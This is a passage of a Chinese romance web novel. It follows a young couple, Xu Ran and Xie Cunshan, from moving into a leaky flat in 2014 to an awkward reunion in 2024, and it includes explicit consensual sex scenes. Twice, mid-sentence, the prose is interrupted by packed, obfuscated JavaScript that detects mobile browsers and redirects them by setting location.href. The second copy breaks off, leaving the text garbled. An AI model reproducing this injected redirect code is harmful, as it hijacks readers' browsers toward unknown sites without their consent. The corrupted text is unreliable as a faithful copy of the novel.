但考四级的事儿她谁也没说,怕别人觉得她不切实际。商场站柜台的阿姨姐姐都劝她,趁现在年轻漂亮,赶紧找个有钱的嫁了。 吃完火锅,小橙说要带她去见一个人。她故意卖关子,带许冉一路走到了二中门口。二中本就位于闹市区,一到晚上门口全都是小吃摊。 有个摊子用彩灯棉花糖装点得五颜六色的,格外好看,她们走近,许冉惊讶,“小娟姐!” 小娟本名叫黎娟,离开路西法后,她去了一家连锁甜品店工作,白天上班,一三五就来摆摊,虽然辛苦,但做的是喜欢的事情。 她的小摊上不仅有各色曲奇和杯子蛋糕,还有diy冰粉,可以自己放小料,很多学生排着队买。 看她做自己喜欢的事情,许冉很替她高兴,临走的时候小娟送她们一人一桶蔓越莓白巧克力曲奇饼干。 回去的路上许冉想起了什么,问,小橙姐,莎莎姐有跟你联系过吗。 小橙摇摇头说,“很久没联系了。再没见她来过。也许是家里有事。” - 搬家前一天还发生了一件特别好的事情。 许冉中奖了。 说来荒唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276315|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那天她请性骚扰她的经理去吃牛排,店里正在搞抽奖活动,食客都能参加,输入手机号就行。 她怀疑这只是噱头,但本着不能白来的精神,还是参与了。 没想到那家店真给她打电话,中了四百块的消费卡! 她站柜台的内衣品牌很高端,卖一件内衣她能抽二十块。但是就因为高端,因此有时一天也开不出一单。 四百块,她得卖二十件内衣。 那顿饭让许冉一直耿耿于怀。一想到掏了几百请那样的人吃饭,她就心疼。事后她想,188块干什么不好啊,可以买5斤猪肉炖一大锅红烧肉了。谢存山中午吃不饱,晚上没时间吃饭,肉眼可见地瘦了。 搬家这天麻子小苗都来帮忙。 等箱子全都运完就已经到了傍晚。 房子还很空旷,谢存山坐在纸箱上休息。 许冉觉得自己浑身都脏,没碰床垫,一屁股坐在地板上,环顾四周。这是一个温暖的午后,外头格外安静,有鸽子在房檐下咕咕鸣叫。 下午的阳光把屋子照得很暖,她身上有细细密密的汗意,微微的痒,一切都这么好,有失真感。 她想那一定就是幸福的感觉。 她仰着头说,谢存山,我有家了。 谢存山穿件黑色工字背心,一脖子汗,还带着布手套呢,笑着低头亲她,眼神明亮。亲着亲着,许冉嫌弃地把他一把推开,说,你手套脏,别往我脸上摸呀。 两个人又都傻兮兮地望着对方笑起来。 许冉把谢存山拉起来,说,走,不开火了,咱们去吃牛排。我请你。她得意地展示那张消费卡。 这次他们一人点了一份188的至尊牛排套餐,大快朵颐。谢存山把自己的吃完了,说,我能不能还叫一份炸鸡翅。 许冉一挥手说,点两份,打包一份回去当宵夜。 谢存山说,咱们以后发了工资就出来吃顿好的。行吗。 许冉满足地抱着肚子说,我觉得行。 在柜台等着结账的时候,许冉感觉自己的头发被人拉了一下,力气不大,她回头,看见是个一岁左右的婴儿,大眼睛。 孩子母亲见了连连道歉,说,真不好意思。 谢存山也回头。 那女人怔住了,挤出一抹笑,说,小山。你怎么在这儿。 身后有个戴眼镜,文质彬彬的中年男人拿着打包盒走过来。 谢存山迟疑,叫了他一声,“爸。” 涂志远看他一眼,算是应了。 谢存山的父母是大学同学,当年一个去了法院,一个留校读博任教,也是人人称羡的一对。谢存山母亲出事后,过了一年多,涂志远娶了现任。 现任妻子是从前他的博士学生。谢存山初中的时候,她还替涂志远来给他开过家长会。那时候他叫她林姐姐。 涂志远的目光从谢存山身上移到许冉身上。他俩刚搬完家,灰头土脸的。 还没等许冉开口呢,谢存山说,我们先走了。 说完拽着她扭头就走。 一路走到商场外头的广场,他才松开。他手劲儿挺大,在她胳膊上留下几个红指印,但许冉没吭声。 “谢存山,你别不开心。”她挽着他手臂。 谢存山刚才还隐隐有些怒意,现在卸了力气,把手往口袋里一揣,说,“我没有...早知道敲他一顿,让他买单了。” 商场前头热闹极了。许多摆摊的小贩。他们在一个老奶奶手上买了一小把满天星,后来两人觉得老奶奶太可怜了,又掉头从她那里买了束最贵的粉百合。 许冉说,等周末咱们去桥下旧货市场看看,买个花瓶。家里缺两个储物柜,我还想添个镜子,在家也能练练舞。 她还在坚持跳舞,跟着网上免费的视频瞎比划。 谢存山说,都听你的。然后把花扒拉开,低下头爱惜地亲她的眉眼,再辗转到嘴唇。 他对她越来越温柔。有时候许冉会冒傻气地想,他以后也会是个温柔的父亲。 谢存山问她,“你哪天跳给我看行不,我没看过你跳舞。” 许冉也亲亲他的嘴角,认真点头。 25. 2014 九月底桐城降温,下了两场雨,两人这才搞明白为什么这房子比别的便宜。 房子几个墙角都漏水,得用盆接着。下雨的那几天,从厨房总飘来一股鱼腥味。 许冉受不了这个味道,晚上用毛巾蒙住脸才勉强睡着。谢存山对味道更敏感,半夜实在受不了,翻身起床把窗户和电风扇都打开散味儿,两人加了一床被子抱在一块儿才没觉得冷。 但天气渐凉,这样总不是办法。 两个人在家反反复复翻箱倒柜搜索了好几天,也没搞明白这味道来自何处。打给中介,中介不管,说这不包含在合同里。把许冉气得够呛。 晚上谢存山要十一点多才到家,洗完澡两个人就坐在床上聊天,他们还没买电视,小橙送了许冉几本书,什么类型都有。许冉最喜欢裹着一床旧毛巾毯靠在墙上看书。以前读书的时候怎么没觉得书这么好看呢。 卧室被她简单装饰过。床靠墙,床头柜是麻子小苗淘汰的,台灯是新的,靠窗台放了一张旧书桌,前租客留下的,桌面擦不干净了,她买了块碎花绿布盖着,覆一层薄薄的玻璃膜。 上周他们去旧货市场淘回一只小猪形状的坐凳。许冉特别喜欢。 谢存山也喜欢跟着她翻几页书,但看着看着通常就睡着了。他下班走得早,老陈要求他早上八点就得到店里干活。谢存山没有怨言。 许冉最近在读侦探小说,抬起腿轻轻踹了踹谢存山,问,不会像小说里写的,墙里埋了什么尸体吧。 谢存山鼻子里塞着两坨棉花,瓮声瓮气,说,“谁把尸体埋墙里,那不是留下犯罪证据吗。都是剁了下水道冲走。电影里都这么演。” 他一本正经地说着,敏捷地把她腿捉住了,从小腿一路吻上去。天气渐凉了,许冉也不再担心他会留下‘犯罪’痕迹。 十九二十岁,最旺盛的年龄,住在一起,什么亲密的事情自然都做过看过了。 只差最后一步。 许冉表示过意愿。她没有那种羞耻心,喜欢就在一起,全身心在一起。 但谢存山虽然行为上放肆,到最后总是选择点到为止。 他霸道地压着她,蜻蜓点水般地吻,在薄薄的灯下仔细看她。 两团棉花摩挲脖颈的皮肤,许冉喊着好痒好痒,又觉得好笑,挣扎,谢存山一只手就把她两只手剪住了,贴在她耳朵旁,怪声怪调模仿,‘你叫吧,叫破喉咙也没人来救你。’ 许冉笑得眼泪都出来了,谢存山也觉得好笑,从她身上翻下来,笑得胸膛都在震动。 笑完两人又牵着手,静静地躺一会儿,许冉望着发黄的天花板,吊灯灯罩里有可疑的阴影,她一直怀疑那是大蜘蛛的老巢。 “实在受不了,咱们就退租。”谢存山侧过头,抚摸她的脸。 不退。又不会天天下雨。空气清新剂喷一喷。许冉说。 - 许冉站的内衣柜台位于桐城友谊商店的第四层。精品女装区,成衣动辄上千,内衣动辄大几百。不 正因昂贵,生意寥寥,尤其是工作日,客人比柜姐还少。柜姐们没事就爱聚在一起,聊天,人多口杂,有时也嚼嚼客人的舌根。 许冉见缝插针地背单词,练听力,很少参与这些。跟她同龄的几个柜姐说她装,比她大一些的柜姐说她上进。 隔壁卖真丝睡裙柜台的刘姐就很喜欢她,说她机灵,还开玩笑说要不是她有男友了,一定要把自己儿子介绍给她。 午饭的时候她俩总是轮着去,帮对方看着柜台。 这天中午许冉午饭回来,嘴还没来得及擦,就见刘姐在应付她柜台的客人。一个穿着讲究拎着名牌包的年轻女人,正在一款粉紫色和一款黑色中间犹豫。 许冉本想上前帮忙。拐了个弯儿,又看见另一个女人——穿一件半旧的黑色毛衣开衫,带一顶毛线帽,对这个季节来说有点过多。 刘姐给她使眼色,意思是那个女人肯定是随便看看,不像能在这儿消费的有钱人。 ——许冉还是上前招呼。 那个女人见她上前,眼神有些闪躲,手指流连在一套祖母绿蕾丝内衣上。 许冉带着笑说,这个颜色卖的很好,很衬肤色哦。您这个年龄的女性就应该穿这种气质款。 她态度亲切。女人这才抬眼看了她一眼。 许冉见她脸色蜡黄,眼窝深陷,很憔悴。但她的背挺的直直的,比一般人都直,像一颗饱经风霜的松树。 她问,小姑娘,我能试一下吗。 许冉说,当然能。又问,您穿什么码。 女人摇摇头,“我不知道。” 许冉心里犯嘀咕,怎么会有女人不知道自己的内衣码数呢。 ——刘姐还在跟她使眼色,意思是别理她了,肯定不会买的。 许冉目测了女人的胸围,拿了两件大概符合她尺码的陪她去试衣间。 不一会儿,女人在试衣间里说,小姑娘,你能进来帮我调整一下肩带吗。 许冉走进去,女人正交叉手臂捂着胸,好像有些不好意思。许冉说,“您别不好意思,我们每天都帮客人调整的。” 女人顿了顿...小声说,我怕吓着你。 许冉怔了怔。突然明白了她的意思。她没有犹豫,轻轻地扶住女人的双肘。 女人松了力气——露出一对被切割后的ru/房。 “今天我正式出院。想送个礼物给自己。”女人有些羞赧地解释。 出乎意料,这个女人买走了五套成套内衣,全都是高级定制系列。临走的时候,她要走了许冉的名片,说她之后还会带着女儿来光顾。 女人走后,刘姐咋舌,说,看来人不可貌相啊。 许冉没接话,只是笑笑。 - 临下班的时候刘姐问许冉,小许,你带伞没。外头又下雨了。 许冉担心的倒不是没带伞,而是家里那股鱼腥味又要卷土重来了。 她坐公交车淋着雨回了家,在车上还在想着那个女人。 打开门发现家里灯火通明,厨房飘来红烧肉的香味。 听到开门的声音,谢存山端着勺子系着花围裙跑出来,说,“你怎么不看手机。淋雨了吧?” 许冉拿干毛巾擦头发,问他,你晚上不上班? 谢存山咧嘴一笑,“今天不上了。给牛哥请了假。有好事儿。”他硬要卖关子,转身继续进厨房大展拳脚。 许冉最讨厌被人吊胃口,也跟着挤进去,厨房小的可怜,两个人连转身的余地都没有。 许冉像考拉一样贴着谢存山的背,不停追问。 她贴得紧紧的,厨房里热,谢存山只穿一件黑色背心,许冉伸出手指想戳他,他就憋气,把腹肌弄得硬硬的,让她捏不动。 自从他开始在车行上班,衣服上便老有一股机油味。白醋什么的许冉都试过,就是洗不掉。 闻久了倒是习惯了。 谢存山抓着她乱摸的手,把锅子盖上,转身搂着她,宣布,我转正了! 店里最近客流量大,老陈觉得谢存山肯干,学东西也快,和老板一商量,就干脆给他转正了。转正之后工资三千五,给交五险一金,年底还有奖金。 两人抱着傻笑。许冉想,那个中介说的还是没错的。这房子阳气足,旺人。 许冉说,那你以后少送点外卖。我想和你一起吃晚饭。好吗。 ——她喜欢打开门家里有人等的感觉。 谢存山用嘴唇贴贴她的眉心,说,以后我每周空两个晚上出来。好不好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许冉红了脸,罕见地没跟他犟嘴。谢存山睁开眼,看她的眼睛异常明亮,也在看自己。 他轻轻地喊她的大名,许冉。 许冉捂住他的眼睛,低下头吻他。 吻着吻着,谢存山把她一把扑倒,隔着被子压着她。许冉能感受到他身体的变化。他没穿上衣,撑着双臂,肌肉紧绷着。 许冉伸出双手捧着他的脸,又温柔地抚摸他脖子上的那道疤痕。 她想在他的眼睛里努力看清楚自己的样子。 ——她说,谢存山,我不后悔。 桐城微凉的秋夜,风是干燥洁净的。他们俩却热汗淋漓,哪里都是水汽,月光都是水汪汪的,照亮两具缠绕的身体。 许冉并不觉得痛。 谢存山辗转地吻她,倔强的嘴唇,明亮的眼睛。 他也是第一次,想随心所欲肆意妄为。但是他拼命地忍,汗珠从鼻梁滴下来,滴在她面颊上,像一滴眼泪。他俯下身子,在她耳边哑着嗓子叫她冉冉,一遍又一遍。他喜欢她失神时蒙上雾气的眸子,喜欢她的脊骨弯成迷人的弧度,喜欢听她梦呓般叫他的名字。 他爱许冉,他想要她快乐。 再后来满室静寂,午夜时分。他们抱着,都没说话。窗外夜车的光在墙上拉出长长的影子。他们的身体叠在一起,像山峦。一切转瞬即逝。 许冉贴着他胸口,起起伏伏,她知道那里有一个‘冉’字。 许冉这一生还很少有称得上圆满的事情,当下却了无遗憾,只觉得安心。从和谢存山在一起的那天起,她就知道了被爱是什么样子。 从前她没见过好的爱,也形容不出爱应该是什么。 但在这之后的十年,只要听到别人说‘爱’这个字,许冉都会想起谢存山。 26. 2014 十月中旬,那个内衣店的女人真的如约再次光顾。她气色看起来好了很多,衣着也讲究不少,齐耳短发。她女儿长得也好看,打扮入时,听她们聊天,似乎是在国外读书,因为妈妈生病,休学回来陪伴。 那天她们母女俩拢共买走了十来套内衣。 女儿讲话很风趣,说还是国内的内衣穿着舒服,国外的都不适合‘小胸星人’。 走的时候女人告诉她,她平时多在广州,家里有生意在那边,她给她留下一个电话,说若是以后来广州发展,可以找她。 女人还说,那天她刚出院,心情不好,是许冉的行为安慰了她。 许冉有些受宠若惊,觉得自己也没做什么。她把纸条叠进钱包,小心放好。 因为这件事情许冉一整天都很开心。 晚上回家前,她跑去超市买了肋排,想跟着网上的教程,给自己做糖醋小排吃。 自从离开路西法后,她的生活规律了起来,又因为和谢存山同住分担,经济上更轻松,也有了下厨的动力。 谢存山要送外卖的日子,许冉就给他留一口菜做宵夜。 谢存山休息的那两天就会轮到他下厨,他爱研究大菜,许冉每次都十足期待也十分捧场。 回家的公交车上,许冉算了一算日子,其实他们搬到这儿也才三个多月呢,怎么就有种已经住在一起很久了的感觉呢? 也许她太健忘了吧,她已经有点记不清之前的出租屋长什么样子了。 现在只要一提起‘家’,她就想到谢存山,想到小猪坐凳,想到阳光打在绿色的桌布上。 幸福是反重力的,把她的嘴角轻轻提起来。 今天谢存山回家早,三下五除二吃完了给他留的排骨,嘴上没擦干净呢,就要来亲她,许冉洗得干干净净的正在叠床单,尖叫着躲。 谢存山装作很委屈,把她紧紧圈住,硬要在她脖子那里蹭啊蹭,说,“你嫌弃我。你以前很爱我的。” 许冉在他怀里笑得直抖,说,“我刚洗了澡!” 谢存山故意恶狠狠的语气,说,“你等着。” 他们两人都是初尝情事,身体年轻健壮,一点就着。 不点也着。 许冉还有些羞耻心,谢存山却无师自通,有十八般手段,哄着闹着,心肝宝贝或是耍贱到底。反正最后总能得逞。 其实许冉也喜欢的。只是她没有谢存山脸皮厚,不敢挂在嘴上。 每次他进入她的时候,就像身心都被他充满了,熨烫平整了,永远永远不会有褶皱。 那么快乐,快乐得让她觉得自己在犯罪。 谢存山洗澡比闪电还快,浴室出来,看到许冉已经在桌边正襟危坐。 她还有一个月就要考英语四级了,每天都要端端正正地做题背单词。而且三令五申明令禁止他靠近。 谢存山没辙,蔫蔫地套了件T恤老老实实到床上去看书,看两页,就看一眼她。许冉头发半干,暖色灯光下安安静静的侧脸,垂着眼,嘴里念念有词。 大概过了半小时,谢存山正看到任盈盈背着重伤的令狐冲求助少林,许冉忽然叫他,把单词书抛给他。 这几天她都要他帮她抽查单词拼写。她基础差,拼读不过关。谢存山从小课外英语补习就没落下,读书的时候英语成绩挺好的。 他报她写。还是出了几个错。许冉有些沮丧。 “我怎么就记不住呢。” 谢存山凑上去看,她很刻苦,单词本上密密麻麻。 扉页上,认认真真写着,“Letusfirstofallandbeforeallbekind,thenhonest,andthen—letusneveretoneanother.”* 他之前问过她这是什么意思,许冉告诉他,这是她最喜欢的一句话。 谢存山把她虚虚地搂在怀里,逗她,指着她刚刚的默写,说,别的错了都没事,这个怎么也错。 ‘intimate’。亲密的。 许冉还在生气呢,不理他,用手盖住拼写错误的单词。他俯下身,亲亲她的唇,说,“许冉真聪明。” 又转移到她的眉眼,再亲一亲,说,“许冉真漂亮。” 她憋着嘴,问,“过不了怎么办。” “不可能。我保证你过得了。”他单膝蹲下来,把她圈在椅子里。 男人的保证不能当真的。但许冉还是因为他的信誓旦旦而笑出来,转头捧着他的脸问他,“你怎么保证。” 谢存山盯着她水灵灵的眼睛,里面是清波一片,他哑着嗓子说,“要我怎么样都可以。” “长这么帅,卖了算了。卖了还能换点钱。”许冉掐他的脸。 “那不行的。把我卖了,谁给你暖被窝?” 谢存山嬉皮笑脸。 和谢存山在一起,许冉仿佛无师自通,会撒娇,会偶尔依赖,会有小脾气。 她还渴望跟他亲密——好像患上肌肤饥渴症。 这些就是被爱的‘副作用’吗。她一定是病入膏肓。 但许冉没有时间想明白。 ——新换的床单,薄薄的灯,年轻的男人根本学不会委婉。眼中欲望直白得仿佛要烧伤她。和他裸露的肌肤一样。 她年轻的洁净的身体像泉眼,像伊甸园结出的第一枚苹果,无限的甜美和妩媚,无言的邀请。无论谢存山如何索取,怎么失控,她都能接纳,包容。 谢存山喜欢听她的声音。一场情事,威逼利诱,总等她泪光潋滟地喊他的名字,才罢休。她动情的时候真的很美。 他这个人,在床下卖乖耍贱,在床上又很霸道。有的时候,还要压着她,追问她,‘舒不舒服。喜不喜欢。’ 许冉脸皮薄,剩下了一点力气就踹他。真烦。其实又偷偷地觉得他这样也很可爱。 可她又有点讨厌他。都是因为他,她都变得没有原则了。 但更多时候还是太喜欢他——结束之后,他总是喜欢趴在她身上半天不起身,大汗淋漓,喘息未平,黏黏的,腻腻的,像泥潭里两条缺氧的泥鳅,她一向爱干净,却纵容他这样,喜欢他这样。 也喜欢他抚摸她腰窝上的那个‘山’字,有时候还会低头吻她的肌肤,吻着吻着,还没冷下去的身体又蠢蠢欲动。 - 2015年十一月初,桐城迎来第一场寒潮,天气彻底冷了起来。 老房子的窗户薄,不扛风,他们跑去家居市场买了孔雀蓝的厚窗帘换上,挡掉许多寒意。家里住了几个月,逐渐像模像样,楼下的奶奶送了他们一个旧五斗柜,上面放着他们从旧货市场淘的矮白瓷水 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风衣口袋里鼓鼓囊囊的,她掏一掏,是一沓旅行社的宣传纸,北京,新马泰,日本,西欧。西欧去一趟一人两万,还是折扣价,许冉觉得不可思议。 许冉把宣传纸又叠好,仔细地放进自己口袋里,问他,“你去旅行社了?” “对啊。报那种半自由团最划算,食宿全包。我都计划好了,你生日那天咱们去爬长城,不到长城非好汉嘛。二十岁,咱俩都是好汉了。” 许冉笑得冷气都钻进嘴巴里。 车行的工作大体还算顺利。谢存山年轻,不怕脏不怕累,又机灵,学东西快。老陈挺满意他。答应过了年就给他加薪,加五百。 谢存山因此干劲十足。 他们这里不比4s店,什么样的车型都有,十来年车龄的老捷达,改装过的越野,结构不同,疑难杂症也不同。 老陈经验丰富,也不需要什么4s店的检测仪,光是靠听声音也能判断排气管堵在哪里,又或是发动机缸垫呲了。总之,谢存山在他这里学到不少。 外卖车队的牛大哥还来他们车行瞧过他,还给老陈带了两条金白沙。他介绍自己是谢存山‘表哥’,意思是他家里有人,要他们不要欺负他。 牛大哥走的时候说修车好啊,是门好手艺,别看现在赚的少点,以后自立门户了就比送外卖强了。 唯独车行老板,有些不好打交道。 老板是个富二代,姓欧阳,二十来岁,懂一点半吊子修车知识,喜欢指手画脚。 老陈很能忍,半真半假地捧着他,毕竟人家是老板嘛,而且他老爸是做生意的,车行里的生意与其说是他在管理,不如说是靠他爸的朋友们捧场。 指手画脚倒是其次,谢存山最近还发现,他总是指使老陈做些以次充好的勾当。比如把副厂件的火花塞塞进原厂包装盒里卖,还交代老陈,要是客户没要求就不用换机油滤芯,诸如此类。他不指使谢存山,是因为还信不过他。 谢存山看不惯,老陈劝他,现在维修厂都是这么做的,出不了大问题。现在人人都压价,返修几次咱们才能赚到钱。 老陈还说,你安心干活儿就成。我能教你的都会教你。 秋去冬来。 生活仍然充满希望。 27. 09.2024 “所以...你们到底为什么分手呀。听上去你们感情很好啊。”姜璐躺在许冉的床上,整个人成十字形,把双腿高高靠在墙上。她住的小区水管爆了,停了三天水。她只好暂住许冉处‘避难’。 “后来发生了很多事情。” “跟我哥之前在找的人有关...是吗?” 许冉坐在梳妆台前,从镜子里看她,说,“你哥跟你说的?” “没有。我猜的。我哥啥都不跟我说。” “他是不想你扯进去。”许冉说,“毕竟都是陈年旧事。也没个结果...” “我知道。”姜璐翻个身,认真总结,“所以说,爱情嘛,还是讲究个天时地利人和。你看你和我哥就是这样的。” 许冉没答,低头笑笑,在镜子里端详自己,问她,“璐璐。你觉得我是不是没有以前好看了。” 姜璐撑起身,笑了,“太稀奇了!你竟然也会容貌焦虑。我以为你不在意这些。” “我也以为。” 许冉失神,茫然间又想起那天谢存山身边立着的女孩子,温柔明媚的一张脸。 姜璐挪去客厅,打开电视机。晚间新闻正在播放,‘近日,深圳警方联合桐城警方,破获一起涉案金额巨大的制造贩卖毒品案件。嫌犯三人,均系广东籍,已在桐城被捕,警方捣毁生产迷药窝点一个、缴获大量自制迷药...’ 许冉问,“明天舞室开业,你来么。” “当然要来!”姜璐举起双手,“就是我哥这个人,太讨厌了,临时出差。作为男朋友也太不称职了。” 许冉笑笑说,“他来了也帮不上忙。” 自从八月后,许冉也再未和姜毅碰过面。 他工作忙,疫情后出口生意回暖,公司工厂里百来号人要养活,他东奔西跑是常态。许冉从不抱怨也很少有需要他陪伴的时候。毕竟她一直把自己照顾的很好。 他们不是十几岁的情侣了,恋爱大不过生计。 许冉的舞室在装修大半个月后终于如期开业。筹备招聘工作早在广州的时候就已完成了大半。除开舞蹈老师之外,还有一个八人的行政管理团队。 因与深圳的舞室连锁。在社交媒体上早有预热。 开业定在周六早晨十点,人气爆满。大楼保安只得临时给人群分流。 秋季课表发放到每一位顾客手中,当场就能报名课程。 不多时姜璐也来了,捧着一束花,说:“冉冉姐。这是我哥托我送你的。我也没什么别的好送的,定了甜点和奶茶,等会就到。” 寒暄一阵,姜璐便开始在前台帮忙录入学员信息。 一晃到了中午,人少了许多,她又替大家张罗点外卖,团队几个年轻人都高呼,璐璐姐万岁。 姜璐咧嘴笑,抬眼,见电梯里又走出来一个女人,她怔了怔,喊,“青云姐。” 被叫‘青云姐’的女人,高挑瘦削,一头红棕色秀发分外亮眼,风衣长靴,戴着墨镜,款款走过,艳光四射。 等待报名的人们议论,“是混血吧。是不是模特。这么漂亮。” “可能是整的。” “有点眼熟。” ‘青云姐’习惯了成为目光焦点,对姜璐一笑,小璐好久不见。你们老板呢。 许冉匆匆走出来,惊讶,“青云姐,你怎么来了!” - 许青云和许冉相继离开桐城,又于2017年在广州重遇。 在桐城的时候,许青云有另一个名字——琳达。 最开始她依托邵家的关系,拍了几支广告,又在两部院线电影里作配。深知这一行水深尤甚于路西法,于是果断急流勇退,脱离了邵家,嫁给了当时的广告商之一。 她十几岁便开始了摸爬滚打的日子,早早学会审时度势,丈量风险。 她很聪明,也很幸运。 到现在为止,婚后日子舒心,有种大风浪过后的太平。 桐城那么多旧相识,她只与许冉有联系。 九月桐城入秋,下午四点多日影渐斜,城南靠江的墓园里安谧静寂,鲜有人迹。 许冉陪许青云来扫墓。 许青云是遗腹子,母亲又早逝,本还有个妹妹,多年前也意外去世。 疫情后许青云在这墓园置地,把妹妹和母亲从老家迁到这里。近日又掏钱重新修葺,还加上了妹妹生前的照片。 明眸皓齿的少女,对着镜头微笑。 “也就你脾气好。开店第一天,把你拉出来陪我扫墓。” “你看,我早说过,你长得和我妹妹有些神似,我们还是本家。我妹妹比我漂亮,还比我聪明,就是命不好。要是像我就好了,命硬。以前还在路西法的时候,我看着你,就会想起我妹妹。” 许冉笑着点点头。 许青云是她的贵人。 许冉开第一家舞蹈工作室的时候正好赶上疫情,学员退课,房租不能退,员工要安置安排,许冉左算右算,账面仍有好大的缺口,几乎以为要关门大吉。 是许青云给她补上了最后一点窟窿。 许青云不缺钱,缺的是一两个真心朋友。 给母亲和妹妹上过香,许冉和许青云在墓和墓之间的小径行走。夕阳将她们二人的身影拉得比墓碑还长。 许青云问,“前两天在饭局上遇见姜毅。他说你还在找...我以为你来桐城,是专心来做生意的。” 许冉没回头,答,“不耽误。这么多年我心里始终有些放不下。” “我还是那句话。各人过好各人的日子。你不欠谁的。都是命。” “尽人事听天命吧。” “说得好听。你就是轴。”许青云评价。 许青云是个现实的实用主义者,因此能全身而退。她觉得许冉这个人,哪里都好,就是在一些事儿上容易一根筋,放不下。 人生短短几十年,放得下才会活得舒服。这是许青云的哲学。 许青云又问她:“马上又到十月了。我陪你去看看她?” 许青云说着,望向墓园的另一侧。 “等十月吧。”许冉摇摇头,笑着拒绝。 - 九月二十五日,唐小玉生日,娟娟烧烤摊酬宾,全场八折。自开店以来惯例便是如此。 今年人齐,唐小勇想借着日子,顺便也邀好友们聚一聚。 谢存山休假,于是早早来店里帮手。 “小玉呢?”他问。 唐小勇正在折腾唐小玉最喜欢吃的烤苕皮,说,“说跟同学去学跳舞了。下午才过来。长大 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店里张罗一会儿,转眼到了午后。消毒碗柜上的电视在播新闻,说桐城最近在展开营业场所的黄赌毒排查行动云云。 手机响了,是唐小玉,唐小勇接起来,里头是小玉咋咋唬唬的声音,“哥!你猜我遇着谁了!” ——事情还得从几周前说起。 唐小玉外形甜美,机灵活泼,九月入学以来混的如鱼得水。前阵子社团招新,她接传单接到手软。漂漂亮亮的小师妹,谁都想拉拢。 几番深思熟虑后,她加入了舞蹈社。 唐小勇惊得下巴都要掉了,说,你?学舞蹈? 唐家大小姐脑瓜子好用,但四肢极度不协调——平地能摔跟头的那种。 本着勤能补拙的道理,加入舞蹈社后唐小玉又在社友的推荐下去校外舞社‘补习’。一来二去就找到了许冉的舞室。舞蹈社的学姐说,这个舞室在深圳可火了。最近才开到桐城来。 唐小玉学的是kpop和jazz。许冉并不常驻店里,本也不一定会遇上。 结果好巧不巧,店里每两周要做课程评估,恰好就撞上了唐小玉上的这节课。 唐小玉借着镜子端详这个坐在教室后侧的女人,还问朋友,那是谁? 朋友说,老板娘啊,漂亮吧!这么年轻就当老板。她的生活我的梦。 唐小玉瞄了半天,才敢确认,这是当年那个偶尔会代替哥哥接她放学,还会带她去喝地下铁奶茶逛格子铺的大姐姐... ——对她很好的大姐姐。 如果她的大脑还算可靠...这就是小山哥这些年心心念念的前女友... ——“怎么了?”谢存山见唐小勇挂了电话却面露难色。 “小玉学舞蹈,遇见了许冉。你说巧不巧。她说想请她一起来吃饭。” 唐小勇观察谢存山的表情。他现下在替他穿肉,说,“来就来吧。挺好。” “她男朋友也在。” “嗯...” “你介意吗?” “有什么好介意的。” 谢存山垂眼短而浅地冷笑一声,将竹签精确地穿过生牛筋。 28. 09.2024 要不是唐小玉主动打招呼,许冉是绝对认不出她来的。当年齐刘海羞怯的小姑娘,长成了自信明朗的少女。看来这些年唐小勇真的将这个妹妹保护得很好。 “今天实在是不方便,我男朋友来接我。这样,等你下周来上课,我请你吃晚饭?” 许冉温柔回绝她。 唐小玉一听,这才看到一侧等待区的沙发上坐着的姜毅。 唔,长得嘛,凑合。就是身材不咋地...勉强七分吧,比不上小山哥... 妈妈去世的时候唐小玉十一岁,跟着哥哥初来桐城。一切都好新奇。 有天她放学去哥哥店里,撞见谢存山和许冉在店门口的巷子里接吻。小小的少女红了脸,第一次明白什么叫恋爱。 她喜欢小山哥,更喜欢小冉姐。 妈妈的坟在高高的山岗上,和爸爸睡在一起。 小冉姐接她放学,总是请她喝奶茶,给她买漂亮发卡和文具。 还告诉她,‘你要好好读书,你妈妈会一直保佑你。’ “去吧去吧。冉冉姐。叫你男朋友一起。我嫂子你认识的。她说她想你了。” 少女活泼又自来熟,圆圆的恳求的眼睛像小鹿。 更何况她搬出了小娟,实在叫人无法拒绝。 姜毅倒是大方得很,说,“去吧。都是你的老朋友。” ——进了店许冉才发现这顿饭她真的不该来。更不该带姜毅来。 店里食客不算多。 靠柜台的大圆桌干净整洁,上面立着柠檬水壶和餐具。 唐小勇身边坐了个人,从许冉的角度只能看到他的后半侧脸,下颌骨呈现一道分割阴影的利落直线。 是谢存山。黑夹克,半高领,头发似乎短了点,相比唐小勇,坐相更为端正笔直。 他好像被消毒碗柜顶端电视里的都市鸡毛蒜皮情感节目吸引了所有注意力,只在他们落座的时候才勉强收回目光,扫了她一眼,再扫一眼姜毅,点点头,当作招呼。 又眼神漠然地转回了电视机里的“真情复合”环节。里头的男女抱头痛哭。台下观众唏嘘不已。 食客多了起来。唐小勇起身招呼。 姜毅的手机响了,大概是生意上的电话。他起身出门去接。 许冉两边座位都空了,更显得局促。忽而面前玻璃圆盘微动,一只白茶盏落进她视线里。 她下意识抬头,谢存山也在看她,只说了两个字,‘喝茶’。 茶温热得刚刚好。这几天秋老虎,店里开了冷气。 其实若是旁人。倒也看不出什么。只觉得是寻常聚会,还在等人。而桌上的男女不相熟。 唐小玉刷到了什么好玩的东西,突然咯咯笑起来,隔着座位给谢存山看。他不太懂那些网络词汇,唐小玉又嫌弃又耐心地给他解答。他懂了,也微笑起来。 许冉捏着茶盏,捏紧,直到指尖泛起一点点的白,再松开。 周而复始,乐此不疲。 想起很久很久之前,谢存山发了五百的奖金,带了她和小玉一块儿去吃必胜客。那时候吃必胜客是天大的事情。那天店里做活动,年轻的店员给他们拍拍立得,说,‘来,爸爸妈妈,再靠近一点。’ 许冉红了脸。谢存山笑得很得意。 ——姜毅接了电话回来,这才察觉店里冷,体贴问她,凉吗? 他说着把外头的衬衫外套脱下来,给她盖到腿上。 许冉冲他笑笑。 默契十足。 黎娟招呼完那边食客,终于落坐。 